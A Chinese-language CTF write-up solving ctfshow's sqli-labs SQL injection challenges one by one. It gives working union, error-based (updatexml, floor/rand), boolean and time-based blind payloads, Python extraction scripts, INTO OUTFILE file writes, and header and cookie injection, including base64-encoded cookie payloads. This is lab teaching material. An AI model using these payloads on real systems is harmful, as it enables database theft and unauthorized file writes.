说明一下
本来是这个是网上流传的sqli-labs闯关挑战,就是对应是sql注入漏洞的题,因为看在ctfshow里面直接有现成的题目可以做,就没有自己搭着去看了,对应了ctfshow里面的web517-web568,当然如果像自己搭建的小伙伴可以去看看:传送门
最近因为在看top10嘛就前面先看了一下,然后中间去看别的漏洞了,现在才搞完,所以肯定如果发现某个地方开始讲得很快了,应该就是隔了几天再做的
其实也在网上找了很多wp吧,要么很多都没有成功,要么就是没讲明白,我自认为还是讲得比较明白的那种,里面也涉及到一些知识点,总之如果能愿意看下来的话就太感谢了🙏
另外的话我是对于每一题都写下了对应的知识点,这样更方便了解一题的考点是什么,当然,由于我是做的ctfshow里面的题,也就代表我是一个纯黑盒的环境,要想了解具体的话还是建议自己搭一个
以下是GET传参
1、字符型注入-联合查询(单引号)
进入后有提示,是个get传参,参数为id
尝试查询
注点发现
?id=1'
会有报错
然后再尝试注释掉后面的内容,发现不报错了
?id=1'--+
猜解列数
?id=1' order by 3--+ # 没有报错
?id=1' order by 4--+ # 报错了
因此列数就为3
查回显
使用union进行联合查询,看哪些位置有数据的回显,另外说明:使用union查询有个前提就是union后面的语句必须与前面的语句字段数以及类型必须一致,不然可能没有回显或者会报错
?id=1' and 1=2 union select 1,2,3--+
可以看到2号和3号位置是有回显的,所以就根据这两个位置来下手
查信息
version() # 数据库版本:10.2.26-MariaDB-log
user() # 当前用户:root@localhost
database() # security
@@basedir # 数据库绝对路径
不嫌麻烦可以单个单个的查询,如:
?id=1' and 1=2 union select 1,2,version()--+
也可以一次性全部查询:
?id=1' and 1=2 union select 1,concat_ws('__',user(),version(),database()),@@basedir--+
# concat_ws()函数用于连接字符串,第一个参数为连接的字符
一次性查询结果:
爆数据库
?id=1' and 1=2 union select 1,(select group_concat(schema_name) from information_schema.schemata),3--+
# group_concat()函数也是起连接字符串的作用
可见这里有一些的数据库
ctfshow,ctftraining,information_schema,mysql,performance_schema,security,test
爆表
?id=1' and 1=2 union select 1,(select group_concat(table_name) from information_schema.tables),3--+
查询到的有些多,后面肯定还有,但这里已经看到flag的字样了
当然,前面不是爆出来一些数据库吗,也可以再后面加上限制条件来精确查询
?id=1' and 1=2 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema="ctfshow"),3--+
这里查询到只有一个flag表
爆列名
?id=1' and 1=2 union select 1,(select group_concat(column_name) from information_schema.columns where table_name='flag' and table_schema="ctfshow"),3--+
结果:
爆信息
?id=1' and 1=2 union select 1,(select group_concat(flag) from ctfshow.flag),3--+
# 这里要注意的是flag表在ctfshow数据库中,而默认的数据库是security数据库所以要切换数据库
结果:
2、数字型-联合查询(无引号)
这个和上一个类似,也是get传参,但是这里不需要加上单引号结束前面的语句,这里走一下流程:
猜解列数
?id=1 order by 3--+ # 没有报错
?id=1 order by 4--+ # 报错了
查回显
?id=1 and 1=2 union select 1,2,3--+
查信息
?id=1 and 1=2 union select 1,concat_ws('__',user(),version(),database()),@@basedir--+
爆数据库
?id=1 and 1=2 union select 1,(select group_concat(schema_name) from information_schema.schemata),3--+ # ctfshow
爆表
?id=1 and 1=2 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema="ctfshow"),3--+ # flagaa
爆列名
?id=1 and 1=2 union select 1,(select group_concat(column_name) from information_schema.columns where table_name='flagaa' and table_schema="ctfshow"),3--+
# flagac
爆信息
?id=1 and 1=2 union select 1,(select group_concat(flagac) from ctfshow.flagaa),3--+
# ctfshow{49d46d98-d613-4363-a0c2-95ad8e70392e}
3、单引号与括号闭合-联合查询
和上面的形式一样,再次尝试用单引号有报错
根据报错的形式可以知道是有括号的形式,于是单引号加上括号试试
?id=1')--+
发现这一次是正确的,于是用单引号加括号的形式再来走一遍流程
猜解列数
?id=1') order by 3--+ # 没有报错
?id=1') order by 4--+ # 报错了
查回显
?id=1') and 1=2 union select 1,2,3--+
查信息
?id=1') and 1=2 union select 1,concat_ws('__',user(),version(),database()),@@basedir--+
爆数据库
?id=1') and 1=2 union select 1,(select group_concat(schema_name) from information_schema.schemata),3--+ # ctfshow
爆表
?id=1') and 1=2 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema="ctfshow"),3--+ # flagaanec
爆列名
?id=1') and 1=2 union select 1,(select group_concat(column_name) from information_schema.columns where table_name='flagaanec' and table_schema="ctfshow"),3--+
# flagaca
爆信息
?id=1') and 1=2 union select 1,(select group_concat(flagaca) from ctfshow.flagaanec),3--+
# ctfshow{c5b5273c-c21c-4931-9c74-c7832d616aa1}
4、双引号与括号闭合-联合查询
尝试了不加、单引号、单引号和括号,都是正常查询,然后试试双引号,发现有报错,根据报错内容可以知道应该啊hi双引号加括号的形式:
?id=1")--+
成功查询后走流程
猜解列数
?id=1") order by 3--+ # 没有报错
?id=1") order by 4--+ # 报错了
查回显
?id=1") and 1=2 union select 1,2,3--+
查信息
?id=1") and 1=2 union select 1,concat_ws('__',user(),version(),database()),@@basedir--+
爆数据库
?id=1") and 1=2 union select 1,(select group_concat(schema_name) from information_schema.schemata),3--+ # ctfshow
爆表
?id=1") and 1=2 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema="ctfshow"),3--+ # flagsf
爆列名
?id=1") and 1=2 union select 1,(select group_concat(column_name) from information_schema.columns where table_name='flagsf' and table_schema="ctfshow"),3--+
# flaga23
爆信息
?id=1") and 1=2 union select 1,(select group_concat(flag23) from ctfshow.flagsf),3--+
# ctfshow{03178463-aa3b-4d38-b15f-5ce4097cb995}
5、bool盲注/双查询注入(单引号)
bool盲注
文章:传送门
说白了就是爆破,流量题里面没少被这个折磨,下面贴一下脚本
import requests
if __name__ == '__main__':
url = 'http://88716566-57b7-48dc-aed5-31aec7a19aae.challenge.ctf.show/?id=1%27and%20'
result = ''
i = 0
while True:
i = i + 1
low = 32
high = 127
while low < high:
mid = (low + high) // 2
# payload = f'if(ascii(substr((select group_concat(schema_name) from information_schema.schemata),{i},1))>{mid},1,0)%23'
# payload = f'if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema="ctfshow"),{i},1))>{mid},1,0)%23'
# payload = f'if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name="flagpuck"),{i},1))>{mid},1,0)%23'
payload = f'if(ascii(substr((select group_concat(flag33) from ctfshow.flagpuck),{i},1))>{mid},1,0)%23'
# print(payload)
r = requests.get(url=url + payload)
if 'You are in...........' in r.text:
low = mid + 1
else:
high = mid
if low != 32:
result += chr(low)
else:
break
print(result)
经过多次爆破查询最终得到flag
双查询注入
这里有篇文章我觉得还写得挺好的:传送门
sql在真正执行的时候,是先从子查询进行的
比如:
select concat((select database()));
这里select database()
这个语句就会把当前的数据库查出来,然后把结果传入到concat()
函数
concat()
这个函数是用来连接的。如concat('a','b')
的结果为ab
双注入查询首先需要理解下面四个函数/语句
rand() // 取0~1之间的随机数
floor() // 取整
count() // 汇总
group by [] // 分组语句
当在一个聚合函数,比如count函数后面如果使用分组语句就会把查询的一部分以错误的形式显示出来,当然这种错误是随机产生的
用concat()
只是为了将之后报错的结果更好的显示出来,使用floor()
函数只是为了将查询结果结合后面的group by
分类
使用双查询语句会产生Duplicate entry
的报错,而后面则是我们需要的信息
首先还是得猜解一下列数
id=1' order by 3--+ # 正常回显
id=1' order by 4--+ # 报错
然后创建双查询来查询信息
?id=1'union select 1,2,3 from (select 1,count(*),concat_ws('__',floor(rand(4)*2),concat_ws('__',version(),database(),user(),@@basedir))as a from information_schema.tables group by a)as b--+
得到数据:
version() 10.2.26-MariaDB-log
database() security
user() root@localhost
@@basedir /usr
然后根据流程走一遍
查数据库
?id=1' union select 1,count(*),concat_ws('__',(select schema_name from information_schema.schemata limit [ 下标 ],[ 显示行数 ]),floor(rand(4)*2)) as a from information_schema.columns group by a --+
如:
?id=1' union select 1,count(*),concat_ws('__',(select schema_name from information_schema.schemata limit 0,1),floor(rand(4)*2)) as a from information_schema.columns group by a--+
# 这一句显示第一个数据,显示一行(中括号别加进去了啊)
# 需要查询其他的话就改下标就行了,然后显示的话如果显示多行有可能会报错所以最稳妥的方法就是显示一行
# 另外这里的rand(4)*2的成功率为100%但不清楚原理
查表
?id=1' union select 1,count(*),concat_ws('__',(select table_name from information_schema.tables where table_schema="ctfshow" limit 0,1),floor(rand(4)*2)) as a from information_schema.columns group by a--+
查列名
?id=1' union select 1,count(*),concat_ws('__',(select column_name from information_schema.columns where table_name='flagpuck' and table_schema="ctfshow" limit 1,1),floor(rand(4)*2)) as a from information_schema.columns group by a--+
查信息
?id=1' union select 1,count(*),concat_ws('__',(select flag33 from ctfshow.flagpuck limit 0,1),floor(rand(4)*2)) as a from information_schema.columns group by a--+
6、bool盲注/双查询注入(双引号)
经过尝试可以知道这道题就是在上一题的基础上改为了双引号
bool盲注
脚本走流程:
import requests
if __name__ == '__main__':
url = 'http://963c3eac-5073-4557-8d69-4dc527290e86.challenge.ctf.show/?id=1%22and%20'
result = ''
i = 0
while True:
i = i + 1
low = 32
high = 127
while low < high:
mid = (low + high) // 2
# payload = f'if(ascii(substr((select group_concat(schema_name) from information_schema.schemata),{i},1))>{mid},1,0)%23'
# payload = f'if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema="ctfshow"),{i},1))>{mid},1,0)%23'
# payload = f'if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name="flagpa"),{i},1))>{mid},1,0)%23'
payload = f'if(ascii(substr((select group_concat(flag3a3) from ctfshow.flagpa),{i},1))>{mid},1,0)%23'
# print(payload)
r = requests.get(url=url + payload)
if 'You are in...........' in r.text:
low = mid + 1
else:
high = mid
if low != 32:
result += chr(low)
else:
break
print(result)
双查询注入
走流程:
猜解列数
?id=1" order by 3--+ # 正常回显
?id=1" order by 4--+ # 报错
查数据库
?id=1" union select 1,count(*),concat_ws('__',(select schema_name from information_schema.schemata limit 0,1),floor(rand(4)*2)) as a from information_schema.columns group by a--+
查表
?id=1" union select 1,count(*),concat_ws('__',(select table_name from information_schema.tables where table_schema="ctfshow" limit 0,1),floor(rand(4)*2)) as a from information_schema.columns group by a--+ # flagpa
查列名
?id=1" union select 1,count(*),concat_ws('__',(select column_name from information_schema.columns where table_name='flagpa' and table_schema="ctfshow" limit 1,1),floor(rand(4)*2)) as a from information_schema.columns group by a--+
# flag3a3
查信息
?id=1" union select 1,count(*),concat_ws('__',(select flag3a3 from ctfshow.flagpa limit 0,1),floor(rand(4)*2)) as a from information_schema.columns group by a--+
# ctfshow{ac93d22d-7603-481a-9939-da1226f6f8bb}
7、查询写入
首先尝试了一下正常查询,会发现一个新东西
然后尝试单引号注入,发现以前会提示的报错被显示成了一个固定的报错
经过尝试可以确定是'))
的形式,像这种猜解还是有诀窍的,你可以慢慢的加符号,如果是正常回显的话就大概是不包含这个字符的,但如果报错了,就应该是包含的,然后可以尝试加上注释符看看是不是还报错,如果还是报错的话那就是加得不够或者还有其他符号什么的,慢慢加就是了,像这个就是慢慢猜出来的
这里依旧可以猜解列数
?id=1')) order by 3--+ # 正常回显
?id=1')) order by 4--+ #报错
所以得到列数为3
但是这次就不能使用双查询注入了,因为是考报错来回显数据的,而这里直接把报错给封掉了,bool盲注尝试了也不能使用
看到file的话其实可以想到与文件有关,可以直接把一些东西直接查询放到某个文件里面,然后访问这个文件就可以得到想要的结果了
先试着看一下user()
?id=1')) and 1=2 union select 1,user(),3 into outfile '/var/www/html/3.txt'--+
写入成功,然后就是那一套流程了,要注意的是,好像每个文件都只能写一次的样子,查询过一个之后还是换个文件继续吧
爆数据库
?id=1')) and 1=2 union select 1,group_concat(schema_name) from information_schema.schemata,3 into outfile '/var/www/html/1.txt'--+
爆表名
?id=1')) and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema='ctfshow',3 into outfile '/var/www/html/1.txt'--+ # flagdk
爆列名
?id=1')) and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_name='flag' and table_schema="ctfshow",3 into outfile '/var/www/html/1.txt'--+ # flag43
爆信息
?id=1')) and 1=2 union select 1,group_concat(flag) from ctfshow.flag,3 into outfile '/var/www/html/1.txt'--+
当然这一题因为只有两个回显也是很明显的bool盲注,改改脚本:
import requests
if __name__ == '__main__':
url = 'http://f654647f-e094-41c5-aab8-66632de08164.challenge.ctf.show//?id=1%27%29%29%20and%20'
result = ''
i = 0
while True:
i = i + 1
low = 32
high = 127
while low < high:
mid = (low + high) // 2
# payload = f'if(ascii(substr((select group_concat(schema_name) from information_schema.schemata),{i},1))>{mid},1,0)%23'
# payload = f'if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema="ctfshow"),{i},1))>{mid},1,0)%23'
# payload = f'if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name="flagdk"),{i},1))>{mid},1,0)%23'
payload = f'if(ascii(substr((select group_concat(flag43) from ctfshow.flagdk),{i},1))>{mid},1,0)%23'
# print(payload)
r = requests.get(url=url + payload)
if 'You are in....' in r.text:
low = mid + 1
else:
high = mid
if low != 32:
result += chr(low)
else:
break
print(result)
得到flag:ctfshow{ee04ba01-e962-4a17-87dd-497121cc017d}
8、bool盲注
这回是查询失败直接没有任何回显典型的bool盲注,还是脚本删删改改:
import requests
if __name__ == '__main__':
url = 'http://60aa1dec-e0d5-4ccd-9b56-5399e9410ab9.challenge.ctf.show/?id=1%27%20and%20'
result = ''
i = 0
while True:
i = i + 1
low = 32
high = 127
while low < high:
mid = (low + high) // 2
# payload = f'if(ascii(substr((select group_concat(schema_name) from information_schema.schemata),{i},1))>{mid},1,0)%23'
# payload = f'if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema="ctfshow"),{i},1))>{mid},1,0)%23'
# payload = f'if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name="flagjugg"),{i},1))>{mid},1,0)%23'
payload = f'if(ascii(substr((select group_concat(flag423) from ctfshow.flagjugg),{i},1))>{mid},1,0)%23'
# print(payload)
r = requests.get(url=url + payload)
if 'You are in...........' in r.text:
low = mid + 1
else:
high = mid
if low != 32:
result += chr(low)
else:
break
print(result)
得到flag:ctfshow{667b58e1-ef75-458d-b839-beb3eb99779a}
9、时间盲注(单引号)
这里在测试的时候无论输入的是什么都是同一个回显,这个时候可以尝试一下使用sleep函数来判断是否查询成功
当查询成功时会执行sleep()
这个函数,会停顿一秒,但是如果查询失败的话就不会执行后面的sleep()
语句,从而迅速的刷新好网站,简单来说就是这样,具体的话要自己体会一下才知道是什么样的
这里猜测源码时把报错应该回显的部分也改成了You are in...........
实际上时间盲注也算是一种bool盲注,只是在bool盲注的基础上加上了时间的要素,另外因为有时间的原因回显得不是特别快,所以应该在不影响查询的情况下时间尽可能的短,用bool盲注的脚本删删改改:
import requests
if __name__ == '__main__':
url = 'http://053fbbca-ec0a-43c1-b674-b06c5aed9cff.challenge.ctf.show:8080/?id=1%27and%20'
result = ''
i = 0
while True:
i = i + 1
low = 32
high = 127
while low < high:
mid = (low + high) // 2
# payload = f'if(ascii(substr((select group_concat(schema_name) from information_schema.schemata),{i},1))>{mid},sleep(0.2),0)%23'
# payload = f'if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema="ctfshow"),{i},1))>{mid},sleep(0.2),0)%23'
# payload = f'if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name="flagug"),{i},1))>{mid},sleep(0.2),0)%23'
payload = f'if(ascii(substr((select group_concat(flag4a23) from ctfshow.flagug),{i},1))>{mid},sleep(0.2),0)%23'
#print(payload)
r = requests.get(url=url + payload)
try:
r = requests.get(url=url + payload, timeout=0.15)
high = mid
except:
low = mid + 1
if low != 32:
result += chr(low)
else:
break
print(result)
得到flag:ctfshow{b3cb4220-d82b-4d48-a013-df1cc39e6e67}
10、时间盲注(双引号)
经过测试发现是双引号的时间盲注
脚本删删改改:
import requests
if __name__ == '__main__':
url = 'http://05c07221-0349-4a37-abea-d10da54f4f33.challenge.ctf.show/?id=1%22%20and%20'
result = ''
i = 0
while True:
i = i + 1
low = 32
high = 127
while low < high:
mid = (low + high) // 2
# payload = f'if(ascii(substr((select group_concat(schema_name) from information_schema.schemata),{i},1))>{mid},sleep(0.2),0)%23'
# payload = f'if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema="ctfshow"),{i},1))>{mid},sleep(0.2),0)%23'
# payload = f'if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name="flagugs"),{i},1))>{mid},sleep(0.2),0)%23'
payload = f'if(ascii(substr((select group_concat(flag43s) from ctfshow.flagugs),{i},1))>{mid},sleep(0.2),0)%23'
# print(payload)
r = requests.get(url=url + payload)
try:
r = requests.get(url=url + payload, timeout=0.15)
high = mid
except:
low = mid + 1
if low != 32:
result += chr(low)
else:
break
print(result)
得到flag:ctfshow{e8Db65e2-f7e5-4dea-83b6-51a59e29656b}
以下是POST传参
post传参其实和get传参的注入形式其实没有什么太大的区别,就是一个传参形式的区别而已
11、联合查询(单引号)
一个登录框,看到这种登录框的话十成甚至九成都是都是POST传参,因为post传参你看不到,所以最好的方式就是利用**bp抓包**
,或者直接用hackbar
先讲一下bp吧,web最最常用的工具,没有之一
这里先随便输入了两个admin
,进行抓包后,给重发器,可以看到下面有对应的数据显示了出来,点击Send
发送过去,然后在Render
界面可以查看回显是怎么样的
(这里误打误撞直接登录成功了,实际上不一定会成功的)
然后就可以按照get传参一样的形式进行查询了,在admin
后面加个单引号再次发送过去,立即报错,然后再后面加上注释符,又立马没有报错了,然后就是那一套联合查询的流程了
猜解列数
' order by 3--+ # 报错
' order by 2--+ # 正常回显
查回显
' and 1=2 union select 1,2--+
查信息
' and 1=2 union select 1,concat_ws('__',user(),version(),database())--+
爆数据库
' and 1=2 union select 1,(select group_concat(schema_name) from information_schema.schemata)--+ # ctfshow
爆表
' and 1=2 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema="ctfshow")--+ # flagugsd
爆列名
' and 1=2 union select 1,(select group_concat(column_name) from information_schema.columns where table_name='flagugsd' and table_schema="ctfshow")--+
# flag43s
爆信息
' and 1=2 union select 1,(select group_concat(flag43s) from ctfshow.flagugsd)--+
# ctfshow{d7f379af-e47f-4955-a547-3b8ccd1590c3}
然后hacjbar只讲一下流程:
再箭头标识的地方注入即可
12、联合查询(双引号+括号)
简单检测发现是双引号+括号
的形式,走流程:
猜解列数
") order by 3--+ # 报错
") order by 2--+ # 正常回显
查回显
") and 1=2 union select 1,2--+
查信息
") and 1=2 union select 1,concat_ws('__',user(),version(),database())--+
爆数据库
") and 1=2 union select 1,(select group_concat(schema_name) from information_schema.schemata)--+ # ctfshow
爆表
") and 1=2 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema="ctfshow")--+ # flagugsds
爆列名
") and 1=2 union select 1,(select group_concat(column_name) from information_schema.columns where table_name='flagugsds' and table_schema="ctfshow")--+
# flag43as
爆信息
") and 1=2 union select 1,(select group_concat(flag34as) from ctfshow.flagugsds)--+
# ctfshow{92169544-f0dc-4cc7-8652-cc112e1472a6}
13、bool盲注(单引号+括号)
尝试之后可以发现这回是单引号+括号
的形式,但是正确没有回显,错误是由回显的,正常想到bool盲注,当然时间盲注也是可以的,脚本:
import requests
if __name__ == '__main__':
url = 'http://601622da-7537-48c5-b266-d40ddee6e821.challenge.ctf.show/'
result = ''
i = 0
while True:
i = i + 1
low = 32
high = 127
while low < high:
mid = (low + high) // 2
# payload = f'if(ascii(substr((select group_concat(schema_name) from information_schema.schemata),{i},1))>{mid},1,0)'
# payload = f'if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema="ctfshow"),{i},1))>{mid},1,0)'
# payload = f'if(asiii(substr((select group_concat(column_name) from information_schema.columns where table_name="flag"),{i},1))>{mid},1,0)'
payload = f'if(ascii(substr((select group_concat(flag4) from ctfshow.flag),{i},1))>{mid},1,0)'
print(payload)
data = {
'uname': f"admin') and {payload}--+",
'passwd': '123'
}
# print(data['uname'])
r = requests.post(url=url, data=data)
if 'flag.jpg' in r.text:
low = mid + 1
else:
high = mid
if low != 32:
result += chr(low)
else:
break
print(result)
这里用flag.jpg
的原因是,正常回显显示登录成功的那张图片就叫flag.jpg
得到flag:ctfshow{71a31ab4-344f-4c1f-8c9e-fe7eda500520}
14、bool盲注(双引号)
一样一样的,只不过代码中--+
有时候似乎不能用,用#
代替也是一样一样的,脚本删删改改:
import requests
if __name__ == '__main__':
url = 'http://6635bb62-9ed4-4717-aec6-525b673cf4bb.challenge.ctf.show/'
result = ''
i = 0
while True:
i = i + 1
low = 32
high = 127
while low < high:
mid = (low + high) // 2
# payload = f'if(ascii(substr((select group_concat(schema_name) from information_schema.schemata),{i},1))>{mid},1,0)'
# payload = f'if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema="ctfshow"),{i},1))>{mid},1,0)'
# payload = f'if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name="flagb"),{i},1))>{mid},1,0)'
payload = f'if(ascii(substr((select group_concat(flag4s) from ctfshow.flagb),{i},1))>{mid},1,0)'
# print(payload)
data = {
'uname': f"admin\" and {payload}#",
'passwd': 'admin'
}
# print(data['uname'])
r = requests.post(url=url, data=data)
if 'flag.jpg' in r.text:
low = mid + 1
else:
high = mid
if low != 32:
result += chr(low)
else:
break
print(result)
得到flag:ctfshow{6f32cfa4-1236-400b-a1f3-fabd93681f8e}
15、bool盲注(单引号)
经过测试,发现这一次没有什么报错信息,似乎只要是登录错误还是报错都会回显为登录错误的那章图片,但经过尝试之后还是发现是单引号的形式(加单引号回显错误,加上注释符回显正确),然后又是bool盲注,脚本删删改改:
import requests
if __name__ == '__main__':
url = 'http://696cea95-c678-41c8-ba3d-b72cd481f798.challenge.ctf.show/'
result = ''
i = 0
while True:
i = i + 1
low = 32
high = 127
while low < high:
mid = (low + high) // 2
# payload = f'if(ascii(substr((select group_concat(schema_name) from information_schema.schemata),{i},1))>{mid},1,0)'
# payload = f'if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema="ctfshow"),{i},1))>{mid},1,0)'
# payload = f'if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name="flagba"),{i},1))>{mid},1,0)'
payload = f'if(ascii(substr((select group_concat(flag4sa) from ctfshow.flagba),{i},1))>{mid},1,0)'
# print(payload)
data = {
'uname': f"admin' and {payload}#",
'passwd': 'admin'
}
# print(data['uname'])
r = requests.post(url=url, data=data)
if 'flag.jpg' in r.text:
low = mid + 1
else:
high = mid
if low != 32:
result += chr(low)
else:
break
print(result)
得到flag:ctfshow{455dabb1-3bce-416a-8070-e6cdef043eb4}
16、bool盲注/时间盲注(双引号+括号)
还是那一套,这里就贴一下脚本:
import requests
if __name__ == '__main__':
url = 'http://6100c34b-917e-4a8a-9699-694be7f746bb.challenge.ctf.show/'
result = ''
i = 0
while True:
i = i + 1
low = 32
high = 127
while low < high:
mid = (low + high) // 2
# payload = f'if(ascii(substr((select group_concat(schema_name) from information_schema.schemata),{i},1))>{mid},1,0)'
# payload = f'if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema="ctfshow"),{i},1))>{mid},1,0)'
# payload = f'if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name="flagbab"),{i},1))>{mid},1,0)'
payload = f'if(ascii(substr((select group_concat(flag4sa) from ctfshow.flagbab),{i},1))>{mid},1,0)'
# print(payload)
data = {
'uname': f"admin\") and {payload}#",
'passwd': 'admin'
}
# print(data['uname'])
r = requests.post(url=url, data=data)
if 'flag.jpg' in r.text:
low = mid + 1
else:
high = mid
if low != 32:
result += chr(low)
else:
break
print(result)
另外说一下时间盲注吧,其实所有的bool盲注都可以使用时间盲注来解决,bool盲注还需要回显才能判断,时间盲注甚至不需要回显,只需要时间即可,下面是脚本
import requests
if __name__ == '__main__':
url = 'http://5386bcdd-1659-44ce-939c-647ea57bae00.challenge.ctf.show:8080/'
result = ''
i = 0
while True:
i = i + 1
low = 32
high = 127
while low < high:
mid = (low + high) // 2
# payload = f'if(ascii(substr((select group_concat(schema_name) from information_schema.schemata),{i},1))>{mid},sleep(0.6),0)'
payload = f'if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema="ctfshow"),{i},1))>{mid},sleep(0.6),0)'
# payload = f'if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name="flagbab"),{i},1))>{mid},sleep(0.6),0)'
# payload = f'if(ascii(substr((select group_concat(flag4sa) from ctfshow.flagbab),{i},1))>{mid},sleep(0.6),0)'
# print(payload)
data = {
'uname': f'admin") and {payload}#',
'passwd': 'admin'
}
# print(data['uname'])
try:
r = requests.post(url=url, data=data, timeout=0.4)
high = mid
except:
low = mid + 1
if low != 32:
result += chr(low)
else:
break
print(result)
只需要注意的是:post请求一次所花的时间比get请求多,所以一定要在能爆出来的前提下设置尽量短的时间
得到flag:ctfshow{72dc55f6-4a5d-432a-a74b-05e1e7ff50ac}
17、报错注入
这次在username
处尝试很多次之后没有发现什么,转到password
尝试一下,在password
处一个单引号成功了,这说明了注入点不知有一个如果要做好健全的防御,必须要管理好每一个注入点
另外这一次的报错是有回显的,但是因为是在password之后进行的注入,就算你进行了阻断,前面的账号和密码还是没有受到影响,所以回显都是同一个,不能使用时间盲注或者bool盲注了(我认为还是可以用的,只不过因为长度在注入的时候,回显的长度是不确定的用起来肯定会特别麻烦,所以放弃了这个想法)
这里就用到了报错注入
总的来说报错注入的话有很多形式,具体的话可以参考一下这篇文章:传送门
常用的利用函数:
floor();
extractvalue();
updatexml();
geometrycollection();
multipoint();
polygon();
multipolygon();
linestring();
multilinestring();
exp();
这里就用updatexml
做一下演示,其他的话就自行搜索吧,利用形式有些函数是大差不差
查看当前库
' and updatexml(1,concat(0x7e,(select database()),0x7e),1)#
爆数据库
' and updatexml(1,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata),0x7e),1)# # ctfshow
爆表
' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema="ctfshow"),0x7e),1)# # flag
爆列名
' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='flag' and table_schema="ctfshow"),0x7e),1)# # flag4
爆信息
' and updatexml(1,concat(0x7e,(select group_concat(flag4) from ctfshow.flag),0x7e),1)#
# ctfshow{13ddb6da-c6f9-4069-bfad
' and updatexml(1,concat(0x7e,(select group_concat(right(flag4,24)) from ctfshow.flag),0x7e),1)#
# -4069-bfad-4cdb6d10323e}
# 最后这里因为太长了,一句话显示不了,可以使用right函数向右偏移24个位置后在进行查询
最后结合一下,得到flag:ctfshow{13ddb6da-c6f9-4069-bfad-4cdb6d10323e}
18、UA头注入/报错注入
这里一开始就显示了一个自己的ip给了你,尝试了一下admin登录,登进去后发现UA头被显示出来了,尝试输入错误的发现UA头并没有回显出来
我觉得这道题就这里差点意思,我这里是知道账号和密码,登录进去后才有回显的,如果事先不知道而且不是个弱口令呢,不就啥信息都没得回显给你?当然了这里也只是告诉你有这个利用方法罢了
知道显示了UA头之后,就可以看看UA头注入了:传送门
结合使用报错注入:
查看当前库
' and updatexml(1,concat(0x7e,(select database()),0x7e),1) and '
爆数据库
' and updatexml(1,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata),0x7e),1) and ' # ctfshow
爆表
' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema="ctfshow"),0x7e),1) and ' # flag
爆列名
' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='flag' and table_schema="ctfshow"),0x7e),1) and ' # flag4
爆信息
' and updatexml(1,concat(0x7e,(select group_concat(flag4) from ctfshow.flag),0x7e),1) and ' # ctfshow{1f24f682-acb2-455a-bfdd
' and updatexml(1,concat(0x7e,(select group_concat(right(flag4,24)) from ctfshow.flag),0x7e),1) and ' # -455a-bfdd-4ebb7cbbad3a}
# 最后这里因为太长了,一句话显示不了,可以使用right函数向右偏移24个位置后在进行查询
最后得到flag:ctfshow{1f24f682-acb2-455a-bfdd-4ebb7cbbad3a}
19、refer注入/报错注入
文章在UA头注入那里已经给了
还是一样的毛病,无所d谓,反正是用来学习的
登录成功后给了你refer,和UA头一样的利用方法,甚至连payload都一样一样的,连库都没改,这里就不写了,为什么不写呢,一个一个测真的累啊
最后得到flag:ctfshow{91c6925d-acfc-431b-83f9-f74ad1ea8d57}
20、cookie注入/报错注入
文章在UA头注入那里已经给了
这个也是类似的,也还是老毛病,无所d谓,抓包的时候要注意一下,需要先获得cookie之后再抓包,不然会回显cookie已经删掉了
然后注入点的话就在cookie那里,payload也是一样的,也没一个一个打了
最后得到flag:ctfshow{31ccb921-e245-4182-8c27-306d04fa51bd}
21、cookie注入/报错注入(单引号/base编码)
和上面的cookie注入一个流程,但需要注意再抓到包后cookie那里,显示成了一串base64
于是只需要把整个后面的那一段base64编码一次即可
如:
查看当前库:
admin' and updatexml(1,concat(0x7e,(select database()),0x7e),1) and '
base64编码后:
YWRtaW4nIGFuZCB1cGRhdGV4bWwoMSxjb25jYXQoMHg3ZSwoc2VsZWN0IGRhdGFiYXNlKCkpLDB4N2UpLDEpIGFuZCAn
可以看到已经有回显了,剩下的就是走流程了,这里也不一个一个的编码了
最后得到flag:ctfshow{0645c9c3-dde1-4e22-9e4c-83fea6bfdf8f}
22、cookie注入/报错注入(双引号/base编码)
一样的形式,但cookie那里既然是一个注点,那么闭合的形式也会有那么几种形式,经过测试,这里使用的是双引号,另外在最后尝试了很多and之类的形式,但最后好像都会报错,于是就直接注释掉了,干脆写
查看当前库:
admin" and updatexml(1,concat(0x7e,(select database()),0x7e),1)#
base64编码后:
YWRtaW4iIGFuZCB1cGRhdGV4bWwoMSxjb25jYXQoMHg3ZSwoc2VsZWN0IGRhdGFiYXNlKCkpLDB4N2UpLDEpIw==
走流程
payload:
admin" and updatexml(1,concat(0x7e,(select group_concat(flag4) from ctfshow.flag),0x7e),1)#
